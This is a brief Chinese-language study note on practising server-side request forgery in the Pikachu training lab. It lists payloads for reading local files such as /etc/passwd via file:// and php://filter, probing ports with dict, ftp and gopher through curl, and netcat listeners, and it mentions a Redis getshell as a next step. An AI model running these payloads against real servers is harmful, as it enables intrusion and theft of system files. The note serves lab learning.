Pikachu靶場SSRF學習
- 2021 年 12 月 27 日
- 筆記
下載Pikachu靶場://github.com/zhuifengshaonianhanlu/pikachu
Windows用phpstudy也行,記得要改config.inc文件

打開SSRF靶場
如概述所說
SSRF(Server-Side Request Forgery:伺服器端請求偽造) 其形成的原因大都是由於服務端提供了從其他伺服器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制 導致攻擊者可以傳入任意的地址來讓後端伺服器對其發起請求,並返回對該目標地址請求的數據 數據流:攻擊者----->伺服器---->目標地址 根據後台使用的函數的不同,對應的影響和利用方法又有不一樣 PHP中下面函數的使用不當會導致SSRF: file_get_contents() fsockopen() curl_exec() 如果一定要通過後台伺服器遠程去對用戶指定("或者預埋在前端的請求")的地址進行資源請求,則請做好目標地址的過濾。 你可以根據"SSRF"裡面的項目來搞懂問題的原因
關於SSRF可以嘗試的payload:
php偽協議: php://filter/read=convert.base64-encode/resource=file 文件讀取: file://x://路徑 url訪問: http://url/filename curl的getshell利用: 查看 curl 支援的協議列表 curl-config -protocols 使用 curl 讀取文件 curl -v file://etc/passwd 使用 ftp 協議 curl -v 「ftp://127.0.0.1:6666/info」 使用 dict 協議 curl -v 「dict://127.0.0.1:6666/info」 使用 gopher 協議 curl -v 「gopher://127.0.0.1:6666/_info」
首先,進行dict來探測埠開放情況及服務
本機:

ssrf處
通過file:來讀取指定的文件
Windows:file://C://test.txt
Linux:file:///etc/pwd

讀取成功

其次還有
tftp --對應--》udp ftp傳輸 協議:nc -lvup 1234
sftp--對應--》ssh文件傳輸協議:nc -lvp 1234
(環境原因暫無復現成功)
下一步:
通過SSRF從Redis Getshell
參考鏈接:

